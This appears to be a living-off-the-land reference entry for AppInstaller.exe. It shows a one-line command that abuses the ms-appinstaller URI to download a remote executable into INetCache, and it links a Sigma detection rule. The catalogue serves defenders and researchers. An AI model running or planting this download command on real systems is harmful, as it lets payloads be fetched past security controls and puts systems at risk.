AppInstaller.exe

type: OSBinaries

Tool used for installation of AppX/MSIX applications on Windows 10

Full path

C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe

Commands

DownloadUser T1105
Download file from Internet
```
start ms-appinstaller://?source={REMOTEURL:.exe}
```
AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.
os: Windows 10, Windows 11
Download: INetCache

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml

Resources

https://twitter.com/notwhickey/status/1333900137232523264

acknowledgement: Wade Hickey @notwhickey